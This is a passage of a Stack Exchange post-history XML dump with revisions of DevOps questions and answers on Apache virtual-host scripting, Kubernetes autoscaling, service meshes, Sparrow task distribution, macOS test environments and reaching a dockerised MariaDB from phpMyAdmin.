python-certbot-apache ssmtp`, Composer).&#xD;&#xA;1. Docker images will help me automate creation of bare-metal web applications that I would then change credentially to create new web applications.&#xD;&#xA;&#xD;&#xA;This way, for example, Ubuntu will go from 16.04 to 18.04 directly and the Apache package will go from 2 to 3 and all my Apache virtual hosts for Apache 2.4 virtual-host files will automatically transduce into 3.x.x format.&#xD;&#xA;&#xD;&#xA;This sounds like a sweet dream with the only disadvantage of performance (I'm not sure a 5$ or even 20$ cloud-partition could handle such stack).&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Is my description accurate and if so - what is the common solution that combines these three that I should use (assuming there is some combo which is an industry-standard)?&#xD;&#xA;&#xD;&#xA;On the top of such VAD solution, I'll execute much less vanilla-Bash directives (about 25 lines instead 150-200 lines) which will be much easier for me to maintain myself, at least by means of package-management." ContentLicense="CC BY-SA 4.0" />
  <row Id="17413" PostHistoryTypeId="5" PostId="5473" RevisionGUID="e43ab8c4-9196-42c1-8591-e67ef38987ff" CreationDate="2018-11-18T06:18:35.523" UserDisplayName="user5176" Comment="added 45 characters in body" Text="When I create new web applications on my up-2-date Ubuntu-LAMP with Apache 2.4.x, I create their virtual-host files this way:&#xD;&#xA;&#xD;&#xA;    s_a=&quot;/etc/apache2/sites-available/&quot;&#xD;&#xA;    s_e=&quot;/etc/apache2/sites-enabled/&quot;&#xD;&#xA;    &#xD;&#xA;    read -p &quot;Have you created db credentials via PHPMyAdmin already?&quot; yn&#xD;&#xA;    case $yn in&#xD;&#xA;    	[Yy]* ) break;;&#xD;&#xA;    	[Nn]* ) exit;;&#xD;&#xA;    	* ) echo &quot;Please create db credentials in then comeback;&quot;;;&#xD;&#xA;    esac&#xD;&#xA;    &#xD;&#xA;    read -p &quot;Please enter the domain of your web application:&quot; domain_1 &amp;&amp; echo&#xD;&#xA;    read -p &quot;Please enter the domain of your web application again:&quot; domain_2 &amp;&amp; echo&#xD;&#xA;    if [ &quot;$domain_1&quot; != &quot;$domain_2&quot; ]; then echo &quot;Values unmatched. Please try again.&quot; &amp;&amp; exit 2; fi&#xD;&#xA;    &#xD;&#xA;    read -sp &quot;Please enter the app DB root password:&quot; dbrootp_1 &amp;&amp; echo&#xD;&#xA;    read -sp &quot;Please enter the app DB root password again:&quot; dbrootp_2 &amp;&amp; echo&#xD;&#xA;    if [ &quot;$dbrootp_1&quot; != &quot;$dbrootp_2&quot; ]; then echo &quot;Values unmatched. Please try again.&quot; &amp;&amp; exit 2; fi&#xD;&#xA;    &#xD;&#xA;    read -sp &quot;Please enter the app DB user password:&quot; dbuserp_1 &amp;&amp; echo&#xD;&#xA;    read -sp &quot;Please enter the app DB user password again:&quot; dbuserp_2 &amp;&amp; echo&#xD;&#xA;    if [ &quot;$dbuserp_1&quot; != &quot;$dbuserp_2&quot; ]; then echo &quot;Values unmatched. Please try again.&quot; &amp;&amp; exit 2; fi&#xD;&#xA;    &#xD;&#xA;    cat &lt;&lt;-EOF &gt; &quot;$s_a/$domain_2.conf&quot;&#xD;&#xA;    	&lt;VirtualHost *:80&gt;&#xD;&#xA;    		ServerAdmin admin@&quot;$domain_2&quot;&#xD;&#xA;    		ServerName ${domain_2}&#xD;&#xA;    		ServerAlias www.${domain_2}&#xD;&#xA;    		DocumentRoot /var/www/html/${domain_2}&#xD;&#xA;    		ErrorLog ${APACHE_LOG_DIR}/error.log&#xD;&#xA;    		CustomLog ${APACHE_LOG_DIR}/access.log combined&#xD;&#xA;    	&lt;/VirtualHost&gt;&#xD;&#xA;    EOF&#xD;&#xA;    &#xD;&#xA;    ln -sf &quot;$s_a&quot;/&quot;$domain_2&quot;.conf &quot;$s_e&quot;&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Is there a way to automate that / shorten the amount of lines code (the actual script-file is much bigger in principle), maybe even from some built-in behavior in Apache itself and without involving further software?&#xD;&#xA;&#xD;&#xA;If other software might be needed than from what I've read so far it should be Docker and I should look for an Apache-virtual host **docker script** that will be based on my variable declarations (in [dockerhub][1]) which I will then run with a `docker` command, but maybe Apache itself will have automation functionality for this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17414" PostHistoryTypeId="50" PostId="5086" RevisionGUID="b327b43c-f635-4fdd-a69a-8300f0504b0e" CreationDate="2018-11-18T15:01:55.333" UserId="-1" />
  <row Id="17415" PostHistoryTypeId="5" PostId="5422" RevisionGUID="cf2b07e1-88c5-4c3e-b882-560840479148" CreationDate="2018-11-18T19:22:33.543" UserId="6" Comment="added 228 characters in body" Text="Anyone knows if there is a solution to provision (non-managed) autoscaling Kubernetes clusters in the cloud?&#xD;&#xA;&#xD;&#xA;I am looking for a generic solution that will work in any public cloud and in private data centers.&#xD;&#xA;&#xD;&#xA;After quite a bit of research, the known available options do not answer the requirement above -&#xD;&#xA;&#xD;&#xA;- `kops` which is AWS specific is using own AMI images.&#xD;&#xA;&#xD;&#xA;- `kubespray` (aka kargo) has no notion of autoscaling, executes Ansible on a specific inventory of hosts.&#xD;&#xA;&#xD;&#xA;- `kubeadm` also expects a known list of hosts and does not take care of OS setup like docker, kubelet, etc...&#xD;&#xA;&#xD;&#xA;Is there some generic solution to make an autoscaling group deploy Kubernetes cluster on itself? Possibly a way to build cloud images (like AMI in AWS) using Packer for this.&#xD;&#xA;&#xD;&#xA;But a method that is not specific to one public cloud and allows to use an elastic environment that scales automatically based on prepared images?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17416" PostHistoryTypeId="5" PostId="5414" RevisionGUID="f3e706ff-3aaf-45b8-ae1c-5d54d610f655" CreationDate="2018-11-18T20:43:21.157" UserId="10599" Comment="deleted 48 characters in body" Text="The metaphor of &quot;mesh&quot; is &quot;many interconnected things&quot;. We wouldn't describe DNS which is the original discovery service as a &quot;mesh&quot;. We might describe TCP/IP as a &quot;mesh technology&quot; as it is the technology that connects many things and performs useful services like resending lost packets and adapting to changes in available bandwidth. &#xD;&#xA;&#xD;&#xA;Modern &quot;service mesh&quot; technology doesn't just do discovery they let you write basic code then wrap it in something readymade that plugs-in mutual TSL, protocol upgrade (newest HTTP or better), applies security policies, fault tolerance such as retry on error, load shedding, circuit breakers, distributed tracing (header setting and traffic sampling), advanced load balancing, and much more.&#xD;&#xA;&#xD;&#xA;Imagine that the internet only had UDP protocol. You can send a packet but you didn't know it got there. You might in your application have to write a bunch of code to detect lost messages and request a resend. You might write a library to do that. You might compile all your apps against such libraries written in different languages (PHP, Java, C, Perl, ...). That would be terrible. You would want someone to invent TCP/IP that just does it for you. Then you can write simple code that &quot;just connects and sends&quot; and the &quot;TCP/IP service mesh&quot; will do its magic and make sure that the data gets `A-&gt;B` as fast as possible dealing with dropped messages and varying bandwidth conditions. &#xD;&#xA;&#xD;&#xA;Today developers writing microservices are having to use libraries for discovery, mutual TSL, protocol upgrade (older HTTP over newer HTTP or better), security policy, fault tolerance, load shedding, circuit breakers, distributing tracking, advanced load balancing, ... That's terrible, right? Shouldn't we just be able to deploy some new technology that sits between `A` and `B` and ensures that all the traffic `A-&gt;B` had all those features? You need a Service Mesh. &#xD;&#xA;&#xD;&#xA;In the kubernetes world things such [Linkerd][1] and [Envoy][2] provide the base technologies. They are smart proxies. You don't go `A-&gt;B` you go `A-&gt;P=&gt;P-&gt;B` where `-&gt;` are local connection. A service has a data plane (move the data) provided by the smark proxies and an administration control plane (apply the desired policies by pushing configuration out to the smart proxies). &#xD;&#xA;&#xD;&#xA;With Linkerd you run it as a demon set (one per container host). With Envoy it's small enough to deploy it as a sidecar container. So you keep the &quot;local dumb connections&quot; within the VM host. All traffic between VM hosts is smart proxy traffic with all the new features you want applied by policy. &#xD;&#xA;&#xD;&#xA;Discovery is something a service mesh does. All containers just connect to a smart local proxy. The smart proxy looks at the header of the connection to see the logical name of the service you are connecting to. It then uses its own dynamic configuration distributed across its control plane to decide what physical location to proxy the traffic towards. What is more interesting is all the very smart things it can do to the traffic that it sends over the wire. These are additional technical services. All the interconnections are a mesh. The advanced services are applied to traffic in the mesh. It is therefore a Service Mesh.  &#xD;&#xA;&#xD;&#xA;If you want to look at something in this space look at [istio.io][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://linkerd.io&#xD;&#xA;  [2]: https://www.envoyproxy.io&#xD;&#xA;  [3]: https://istio.io/docs/concepts/what-is-istio/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17417" PostHistoryTypeId="5" PostId="5414" RevisionGUID="59cca6b5-5d51-41ea-a765-8c1deb4e55df" CreationDate="2018-11-18T20:48:24.747" UserId="10599" Comment="deleted 50 characters in body; deleted 1 character in body" Text="The metaphor of &quot;mesh&quot; is &quot;many interconnected things&quot;. We might describe TCP/IP as a &quot;mesh technology&quot; as it is the technology that connects many things and performs useful services like resending lost packets and adapting to changes in available bandwidth. &#xD;&#xA;&#xD;&#xA;Modern &quot;service mesh&quot; technologies let you write basic code then wrap it in something readymade that plugs-in discovery (locating. resources), mutual TSL, protocol upgrade (newest HTTP or better), applies security policies, fault tolerance (such as retry on error), load shedding, circuit breakers, distributed tracing (header setting and traffic sampling), advanced load balancing, and much more.&#xD;&#xA;&#xD;&#xA;Imagine that the internet only had UDP protocol. You can send a packet but you didn't know it got there. You might in your application have to write a bunch of code to detect lost messages and request a resend. You might write a library to do that. You might compile all your apps against such libraries written in different languages (PHP, Java, C, Perl, ...). That would be terrible. You would want someone to invent TCP/IP that just does it for you. Then you can write simple code that &quot;just connects and sends&quot; and the &quot;TCP/IP service mesh&quot; will do its magic and make sure that the data gets `A-&gt;B` as fast as possible dealing with dropped messages and varying bandwidth conditions. &#xD;&#xA;&#xD;&#xA;Today developers writing microservices are having to use libraries for discovery, mutual TSL, protocol upgrade (older HTTP over newer HTTP or better), security policy, fault tolerance, load shedding, circuit breakers, distributing tracking, advanced load balancing, ... That's terrible, right? Shouldn't we just be able to deploy some new technology that sits between `A` and `B` and ensures that all the traffic `A-&gt;B` had all those features? You need a Service Mesh. &#xD;&#xA;&#xD;&#xA;In the kubernetes world things such [Linkerd][1] and [Envoy][2] provide the base technologies. They are smart proxies. You don't go `A-&gt;B` you go `A-&gt;P=&gt;P-&gt;B` where `-&gt;` are local connection. A service has a data plane (move the data) provided by the smark proxies and an administration control plane (apply the desired policies by pushing configuration out to the smart proxies). &#xD;&#xA;&#xD;&#xA;With Linkerd you run it as a demon set (one per container host). With Envoy it's small enough to deploy it as a sidecar container. So you keep the &quot;local dumb connections&quot; within the VM host. All traffic between VM hosts is smart proxy traffic with all the new features you want applied by policy. &#xD;&#xA;&#xD;&#xA;Discovery (locating resources) is something a service mesh does. All containers just connect to a smart local proxy. The smart proxy looks at the header of the connection to see the logical name of the service you are connecting to. It then uses its own dynamic configuration distributed across its control plane to decide what physical location to proxy the traffic towards. What is more interesting is all the very smart things it can do to the traffic that it sends over the wire. These are additional technical services. All the interconnections are a mesh. The advanced services are applied to traffic in the mesh. It is therefore a Service Mesh.  &#xD;&#xA;&#xD;&#xA;If you want to look at something in this space look at [istio.io][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://linkerd.io&#xD;&#xA;  [2]: https://www.envoyproxy.io&#xD;&#xA;  [3]: https://istio.io/docs/concepts/what-is-istio/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17419" PostHistoryTypeId="5" PostId="5473" RevisionGUID="68563433-72eb-4f18-bf72-89ee31265873" CreationDate="2018-11-18T22:47:01.653" UserDisplayName="user5176" Comment="deleted 15 characters in body" Text="When I create new web applications on my up-2-date Ubuntu-LAMP with Apache 2.4.x, I create their virtual-host files this way:&#xD;&#xA;&#xD;&#xA;    s_a=&quot;/etc/apache2/sites-available/&quot;&#xD;&#xA;    s_e=&quot;/etc/apache2/sites-enabled/&quot;&#xD;&#xA;    &#xD;&#xA;    read -p &quot;Have you created db credentials already?&quot; yn&#xD;&#xA;    case $yn in&#xD;&#xA;    	[Yy]* ) break;;&#xD;&#xA;    	[Nn]* ) exit;;&#xD;&#xA;    	* ) echo &quot;Please create db credentials in then comeback;&quot;;;&#xD;&#xA;    esac&#xD;&#xA;    &#xD;&#xA;    read -p &quot;Please enter the domain of your web application:&quot; domain_1 &amp;&amp; echo&#xD;&#xA;    read -p &quot;Please enter the domain of your web application again:&quot; domain_2 &amp;&amp; echo&#xD;&#xA;    if [ &quot;$domain_1&quot; != &quot;$domain_2&quot; ]; then echo &quot;Values unmatched. Please try again.&quot; &amp;&amp; exit 2; fi&#xD;&#xA;    &#xD;&#xA;    read -sp &quot;Please enter the app DB root password:&quot; dbrootp_1 &amp;&amp; echo&#xD;&#xA;    read -sp &quot;Please enter the app DB root password again:&quot; dbrootp_2 &amp;&amp; echo&#xD;&#xA;    if [ &quot;$dbrootp_1&quot; != &quot;$dbrootp_2&quot; ]; then echo &quot;Values unmatched. Please try again.&quot; &amp;&amp; exit 2; fi&#xD;&#xA;    &#xD;&#xA;    read -sp &quot;Please enter the app DB user password:&quot; dbuserp_1 &amp;&amp; echo&#xD;&#xA;    read -sp &quot;Please enter the app DB user password again:&quot; dbuserp_2 &amp;&amp; echo&#xD;&#xA;    if [ &quot;$dbuserp_1&quot; != &quot;$dbuserp_2&quot; ]; then echo &quot;Values unmatched. Please try again.&quot; &amp;&amp; exit 2; fi&#xD;&#xA;    &#xD;&#xA;    cat &lt;&lt;-EOF &gt; &quot;$s_a/$domain_2.conf&quot;&#xD;&#xA;    	&lt;VirtualHost *:80&gt;&#xD;&#xA;    		ServerAdmin admin@&quot;$domain_2&quot;&#xD;&#xA;    		ServerName ${domain_2}&#xD;&#xA;    		ServerAlias www.${domain_2}&#xD;&#xA;    		DocumentRoot /var/www/html/${domain_2}&#xD;&#xA;    		ErrorLog ${APACHE_LOG_DIR}/error.log&#xD;&#xA;    		CustomLog ${APACHE_LOG_DIR}/access.log combined&#xD;&#xA;    	&lt;/VirtualHost&gt;&#xD;&#xA;    EOF&#xD;&#xA;    &#xD;&#xA;    ln -sf &quot;$s_a&quot;/&quot;$domain_2&quot;.conf &quot;$s_e&quot;&#xD;&#xA;&#xD;&#xA;## My question&#xD;&#xA;&#xD;&#xA;Is there a way to automate that / shorten the amount of lines code (the actual script-file is much bigger in principle), maybe even from some built-in behavior in Apache itself and without involving further software?&#xD;&#xA;&#xD;&#xA;If other software might be needed than from what I've read so far it should be Docker and I should look for an Apache-virtual host **docker script** that will be based on my variable declarations (in [dockerhub][1]) which I will then run with a `docker` command, but maybe Apache itself will have automation functionality for this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17420" PostHistoryTypeId="50" PostId="3066" RevisionGUID="a9a34cd9-85c8-423e-949d-449a8c001469" CreationDate="2018-11-18T23:01:15.180" UserId="-1" />
  <row Id="17421" PostHistoryTypeId="2" PostId="5476" RevisionGUID="2a856688-cc61-4a12-95be-fe41270eb1ed" CreationDate="2018-11-18T23:31:04.670" UserId="7837" Text="In developing/testing OSS libraries I can replicate a clean Linux fs using containers. However, if I want to test oss libs for MacOS end users, I seem to be in a bit of a quandary. Is there any way to create a clean fs on MacOS that I can test libraries with? Perhaps using `chroot`? Can someone explain exactly instead of just saying &quot;use chroot&quot;?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17422" PostHistoryTypeId="1" PostId="5476" RevisionGUID="2a856688-cc61-4a12-95be-fe41270eb1ed" CreationDate="2018-11-18T23:31:04.670" UserId="7837" Text="Create clean/blank MacOS fs on MacOS or Linux" ContentLicense="CC BY-SA 4.0" />
  <row Id="17423" PostHistoryTypeId="3" PostId="5476" RevisionGUID="2a856688-cc61-4a12-95be-fe41270eb1ed" CreationDate="2018-11-18T23:31:04.670" UserId="7837" Text="&lt;containers&gt;&lt;macos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17424" PostHistoryTypeId="5" PostId="5471" RevisionGUID="6e024f75-c1c5-4129-99f9-0cb1bef00af5" CreationDate="2018-11-18T23:39:24.107" UserId="497" Comment="added 375 characters in body" Text="If you don't care about web UI, you can distribute your powershell scripts as console tasks using [Sparrow](https://dev.to/melezhik/sparrow-as-a-reasonable-alternative-to-dotfiles-a1n), you basically just save your Powershell scripts as tasks to a git repository so that users can use it.&#xD;&#xA;&#xD;&#xA;Say, you have task, task2, task3 and so on Powershell scripts ( aka tasks ) scattered across different projects ( aka groups ):&#xD;&#xA;&#xD;&#xA;# on your machine&#xD;&#xA;&#xD;&#xA;    # 1. convert powershell scripts into sparrow plugins&#xD;&#xA;    # and place them to local git repository &#xD;&#xA;    # /path/local/repo/plugins directory&#xD;&#xA; &#xD;&#xA;    # 2. create configuration for your plugins&#xD;&#xA;    # as sparrow tasks&#xD;&#xA;&#xD;&#xA;    # 3. save tasks to a local git repository&#xD;&#xA;    # /path/local/repo/&#xD;&#xA;&#xD;&#xA;    sparrow task save /path/local/repo/&#xD;&#xA;    cd  /path/local/repo/ &amp;&amp; git commit -a -m &quot;my tasks&quot; &amp;&amp; git push&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# on target machine&#xD;&#xA;&#xD;&#xA;    # load tasks from a git repository&#xD;&#xA;&#xD;&#xA;    git clone $repo/powershell-tasks.git powershell-tasks&#xD;&#xA;&#xD;&#xA;    # install plugins to a local system:&#xD;&#xA;&#xD;&#xA;    cd powershell-tasks &amp;&amp; sparrow plg install $PWD/plugins --recursive&#xD;&#xA;&#xD;&#xA;    # install tasks into a local system:&#xD;&#xA;&#xD;&#xA;    cd powershell-tasks&#xD;&#xA;    sparrow task restore $PWD&#xD;&#xA;&#xD;&#xA;    # setup and run tasks&#xD;&#xA;&#xD;&#xA;    sparrow task ini project1/task1 # override default settings&#xD;&#xA;&#xD;&#xA;     foo: 1&#xD;&#xA;     bar: 2&#xD;&#xA;&#xD;&#xA;    sparrow task run project1/task1 # run script as a task&#xD;&#xA;&#xD;&#xA;    sparrow task ini project2/task2 # override default settings&#xD;&#xA;&#xD;&#xA;     foo: 11&#xD;&#xA;     bar: 22&#xD;&#xA;&#xD;&#xA;    sparrow task run project2/task2 # run script as a task&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17431" PostHistoryTypeId="2" PostId="5479" RevisionGUID="9d612479-4a79-4d5b-9938-33a159be7665" CreationDate="2018-11-19T09:24:39.150" UserId="10935" Text="I don't think you can containerize MacOS, but you could create a Mac OS VM and snapshot it, that way you can easily restore to the same exact Mac OS version for each test." ContentLicense="CC BY-SA 4.0" />
  <row Id="17438" PostHistoryTypeId="2" PostId="5482" RevisionGUID="35fb23c9-3878-4739-8c09-752ffd2af22c" CreationDate="2018-11-19T10:53:07.530" UserId="10793" Text="[![gr][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I used jenkins Active choices plugin and Mavenmetadata plugin to build above UI. When I click a radio button particular version only should be display. How can I write a groovy script to fulfill above requirement?&#xD;&#xA;&#xD;&#xA;Below images showing my groovy scripts. &#xD;&#xA;&#xD;&#xA;[![active][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![snap][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/MmC0u.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/XzEVn.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/Y5W8p.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="17439" PostHistoryTypeId="1" PostId="5482" RevisionGUID="35fb23c9-3878-4739-8c09-752ffd2af22c" CreationDate="2018-11-19T10:53:07.530" UserId="10793" Text="Groovy script to show only selected item" ContentLicense="CC BY-SA 4.0" />
  <row Id="17440" PostHistoryTypeId="3" PostId="5482" RevisionGUID="35fb23c9-3878-4739-8c09-752ffd2af22c" CreationDate="2018-11-19T10:53:07.530" UserId="10793" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17445" PostHistoryTypeId="50" PostId="5215" RevisionGUID="bf995dda-0cbf-446f-9186-fcf73b84d5d9" CreationDate="2018-11-19T17:03:00.640" UserId="-1" />
  <row Id="17446" PostHistoryTypeId="5" PostId="5471" RevisionGUID="49492273-c8f8-4e13-941a-126de0fc82c3" CreationDate="2018-11-19T18:14:07.580" UserId="497" Comment="added 41 characters in body" Text="If you don't care about web UI, you can distribute your powershell scripts as console tasks using [Sparrow](https://dev.to/melezhik/sparrow-as-a-reasonable-alternative-to-dotfiles-a1n), you basically just save your Powershell scripts as tasks to a git repository so that users can use it.&#xD;&#xA;&#xD;&#xA;Say, you have task, task2, task3 and so on Powershell scripts ( aka tasks ) scattered across different projects ( aka groups ):&#xD;&#xA;&#xD;&#xA;# on your machine&#xD;&#xA;&#xD;&#xA;    # 1. convert powershell scripts into sparrow plugins&#xD;&#xA;    # and place them to local git repository &#xD;&#xA;    # /path/local/repo/plugins directory&#xD;&#xA; &#xD;&#xA;    # 2. create configurations for your plugins&#xD;&#xA;    # as sparrow tasks&#xD;&#xA;&#xD;&#xA;    sparrow task $project/$task ini &#xD;&#xA;&#xD;&#xA;    # 3. save tasks to a local git repository&#xD;&#xA;    # /path/local/repo/&#xD;&#xA;&#xD;&#xA;    sparrow task save /path/local/repo/&#xD;&#xA;    cd  /path/local/repo/ &amp;&amp; git commit -a -m &quot;my tasks&quot; &amp;&amp; git push&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# on target machine&#xD;&#xA;&#xD;&#xA;    # load tasks from a git repository&#xD;&#xA;&#xD;&#xA;    git clone $repo/powershell-tasks.git powershell-tasks&#xD;&#xA;&#xD;&#xA;    # install plugins to a local system:&#xD;&#xA;&#xD;&#xA;    cd powershell-tasks &amp;&amp; sparrow plg install $PWD/plugins --recursive&#xD;&#xA;&#xD;&#xA;    # install tasks into a local system:&#xD;&#xA;&#xD;&#xA;    cd powershell-tasks&#xD;&#xA;    sparrow task restore $PWD&#xD;&#xA;&#xD;&#xA;    # setup and run tasks&#xD;&#xA;&#xD;&#xA;    sparrow task ini project1/task1 # override default settings&#xD;&#xA;&#xD;&#xA;     foo: 1&#xD;&#xA;     bar: 2&#xD;&#xA;&#xD;&#xA;    sparrow task run project1/task1 # run script as a task&#xD;&#xA;&#xD;&#xA;    sparrow task ini project2/task2 # override default settings&#xD;&#xA;&#xD;&#xA;     foo: 11&#xD;&#xA;     bar: 22&#xD;&#xA;&#xD;&#xA;    sparrow task run project2/task2 # run script as a task&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17447" PostHistoryTypeId="2" PostId="5484" RevisionGUID="62eec637-85a0-48d5-b299-9720462622e8" CreationDate="2018-11-19T22:03:25.137" UserId="7837" Text="From what I can tell so far, the best way to replicate a clean MacOS fs on Linux is to use a VM. These instructions should suffice:&#xD;&#xA;&#xD;&#xA;https://www.raywenderlich.com/1448-introduction-to-open-source-swift-on-linux&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17448" PostHistoryTypeId="5" PostId="5471" RevisionGUID="c2f7172a-d221-4050-91d5-61cd472e75ca" CreationDate="2018-11-20T00:28:23.390" UserId="497" Comment="added 8 characters in body" Text="If you don't care about web UI, you can distribute your powershell scripts as console tasks using [Sparrow](https://dev.to/melezhik/sparrow-as-a-reasonable-alternative-to-dotfiles-a1n), you basically just save your Powershell scripts as tasks to a git repository so that users can use it.&#xD;&#xA;&#xD;&#xA;Say, you have task, task2, task3 and so on Powershell scripts ( aka tasks ) scattered across different projects ( aka groups ):&#xD;&#xA;&#xD;&#xA;# on your machine&#xD;&#xA;&#xD;&#xA;    # 1. convert powershell scripts into sparrow plugins&#xD;&#xA;    # and place them to local git repository &#xD;&#xA;    # /path/local/repo/plugins directory&#xD;&#xA; &#xD;&#xA;    # 2. create configurations for your plugins&#xD;&#xA;    # as sparrow tasks&#xD;&#xA;&#xD;&#xA;    sparrow task $project/$task ini &#xD;&#xA;&#xD;&#xA;    # 3. save tasks to a local git repository&#xD;&#xA;    # /path/local/repo/&#xD;&#xA;&#xD;&#xA;    sparrow task save /path/local/repo/&#xD;&#xA;    cd  /path/local/repo/ &amp;&amp; git commit -a -m &quot;my tasks&quot; &amp;&amp; git push&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# on target machine&#xD;&#xA;&#xD;&#xA;    # load tasks from a git repository&#xD;&#xA;&#xD;&#xA;    git clone $repo/powershell-tasks.git powershell-tasks&#xD;&#xA;&#xD;&#xA;    # install plugins to a local system:&#xD;&#xA;&#xD;&#xA;    cd powershell-tasks &amp;&amp; sparrow plg install $PWD/plugins --recursive --local&#xD;&#xA;&#xD;&#xA;    # install tasks into a local system:&#xD;&#xA;&#xD;&#xA;    cd powershell-tasks&#xD;&#xA;    sparrow task restore $PWD&#xD;&#xA;&#xD;&#xA;    # setup and run tasks&#xD;&#xA;&#xD;&#xA;    sparrow task ini project1/task1 # override default settings&#xD;&#xA;&#xD;&#xA;     foo: 1&#xD;&#xA;     bar: 2&#xD;&#xA;&#xD;&#xA;    sparrow task run project1/task1 # run script as a task&#xD;&#xA;&#xD;&#xA;    sparrow task ini project2/task2 # override default settings&#xD;&#xA;&#xD;&#xA;     foo: 11&#xD;&#xA;     bar: 22&#xD;&#xA;&#xD;&#xA;    sparrow task run project2/task2 # run script as a task&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17449" PostHistoryTypeId="50" PostId="5226" RevisionGUID="41e649fc-4f9e-41b3-9121-eecd58639b59" CreationDate="2018-11-20T07:02:50.587" UserId="-1" />
  <row Id="17450" PostHistoryTypeId="2" PostId="5485" RevisionGUID="87795028-2923-44f0-940b-558f3d54d3c9" CreationDate="2018-11-20T07:07:49.137" UserId="10950" Text="I have installed mariadb inside docker container, and mariadb is running properly inside that container, i want to get access of mariadb through phpmyadmin from outside docker container, Please let me know what i will have to do for that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17451" PostHistoryTypeId="1" PostId="5485" RevisionGUID="87795028-2923-44f0-940b-558f3d54d3c9" CreationDate="2018-11-20T07:07:49.137" UserId="10950" Text="Docker related query" ContentLicense="CC BY-SA 4.0" />
  <row Id="17452" PostHistoryTypeId="3" PostId="5485" RevisionGUID="87795028-2923-44f0-940b-558f3d54d3c9" CreationDate="2018-11-20T07:07:49.137" UserId="10950" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17453" PostHistoryTypeId="2" PostId="5486" RevisionGUID="156b7c3c-3fa1-42ff-a4da-1cf517e740c0" CreationDate="2018-11-20T08:27:36.647" UserId="354" Text="You need to &#xD;&#xA;&#xD;&#xA;  1. [Expose](https://docs.docker.com/engine/reference/builder/#expose) the server port in the Dockerfile&#xD;&#xA;  1. get the IP that the container is listening on (_e.g._ `docker inspect code-rade_cache_1 |jq .[0].NetworkSettings.Networks[].IPAddress` ) -- note that you will need [JQ](https://stedolan.github.io/jq/) installed  on your computer to do this&#xD;&#xA;  1. Set the connection in the [mysqlphpadmin](https://docs.phpmyadmin.net/en/latest/config.html#cfg_Servers_host)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17454" PostHistoryTypeId="5" PostId="5485" RevisionGUID="5073488e-5433-4647-be70-bb47b83b9df8" CreationDate="2018-11-20T08:33:29.157" UserId="354" Comment="Changed the title to reflect the actual problem" Text="I have installed mariadb inside docker container, and mariadb is running properly inside that container, I want to get access of mariadb through phpmyadmin from outside docker container, Please let me know what I will have to do for that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17455" PostHistoryTypeId="4" PostId="5485" RevisionGUID="5073488e-5433-4647-be70-bb47b83b9df8" CreationDate="2018-11-20T08:33:29.157" UserId="354" Comment="Changed the title to reflect the actual problem" Text="phpmyadmin using dockerised database" ContentLicense="CC BY-SA 4.0" />
  <row Id="17456" PostHistoryTypeId="6" PostId="5485" RevisionGUID="5073488e-5433-4647-be70-bb47b83b9df8" CreationDate="2018-11-20T08:33:29.157" UserId="354" Comment="Changed the title to reflect the actual problem" Text="&lt;docker&gt;&lt;databases&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17457" PostHistoryTypeId="24" PostId="5485" RevisionGUID="5073488e-5433-4647-be70-bb47b83b9df8" CreationDate="2018-11-20T08:33:29.157" Comment="Proposed by 354 approved by -1 edit id of 857" ContentLicense="CC BY-SA 4.0" />
  <row Id="17458" PostHistoryTypeId="5" PostId="5485" RevisionGUID="23ebf4e6-37bd-4946-815d-c79ddd210d25" CreationDate="2018-11-20T08:33:29.157" UserId="40" Comment="deleted 16 characters in body; edited title" Text="I have installed mariadb inside docker container, and mariadb is running properly inside that container. I want to get access of mariadb through phpMyAdmin from outside docker container.&#xD;&#xA;&#xD;&#xA;What will I have to do for that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17459" PostHistoryTypeId="4" PostId="5485" RevisionGUID="23ebf4e6-37bd-4946-815d-c79ddd210d25" CreationDate="2018-11-20T08:33:29.157" UserId="40" Comment="deleted 16 characters in body; edited title" Text="phpMyAdmin using dockerised database" ContentLicense="CC BY-SA 4.0" />
  <row Id="17460" PostHistoryTypeId="33" PostId="5473" RevisionGUID="35531c46-ca40-4588-b6f3-7151ea1ea471" CreationDate="2018-11-20T08:34:26.963" UserDisplayName="user5176" Comment="30" />
